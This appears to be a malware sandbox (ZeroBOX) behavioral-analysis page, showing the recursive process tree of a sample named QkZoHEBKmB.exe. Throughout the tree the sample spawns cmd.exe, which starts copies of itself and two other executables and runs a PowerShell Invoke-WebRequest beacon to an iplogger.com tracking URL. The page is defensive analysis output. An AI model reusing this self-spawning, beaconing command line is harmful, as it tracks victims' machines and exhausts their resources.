| ZeroBOX

QkZoHEBKmB.exe "C:\Users\test22\AppData\Local\Temp\QkZoHEBKmB.exe"
2552
- cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
  2640
  - 1.exe "1.exe"
    2704
  - 2.exe "2.exe"
    2812
  - QkZoHEBKmB.exe "QkZoHEBKmB.exe"
    2888
    - cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
      2992
      - 1.exe "1.exe"
        1216
      - 2.exe "2.exe"
        2108
      - QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        2192
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2504
        
        1.exe "1.exe"
        2656
        
        2.exe "2.exe"
        2624
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        2380
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        1356
        
        1.exe "1.exe"
        2256
        
        2.exe "2.exe"
        2724
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        2780
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2412
        
        1.exe "1.exe"
        2952
        
        2.exe "2.exe"
        2872
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        2564
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2892
        
        1.exe "1.exe"
        2224
        
        2.exe "2.exe"
        2056
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        2084
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3052
        
        1.exe "1.exe"
        1964
        
        2.exe "2.exe"
        2828
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        2748
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2932
        
        1.exe "1.exe"
        884
        
        2.exe "2.exe"
        2568
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        2908
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2536
        
        1.exe "1.exe"
        284
        
        2.exe "2.exe"
        3104
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        3208
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3536
        
        1.exe "1.exe"
        3596
        
        2.exe "2.exe"
        3688
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        3832
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3908
        
        1.exe "1.exe"
        4008
        
        2.exe "2.exe"
        828
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        3340
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3608
        
        1.exe "1.exe"
        3680
        
        2.exe "2.exe"
        1256
        
        QkZoHEBKmB.exe "QkZoHEBKmB.exe"
        4048
        
        cmd.exe "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "QkZoHEBKmB.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3272
        
        1.exe "1.exe"
        1088
        
        2.exe "2.exe"
        344
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2184
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3852
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3964
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3468
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        1892
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        676
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2520
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2804
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2308
        
        powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3024
      - powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        2360
  - powershell.exe powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
    2968

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents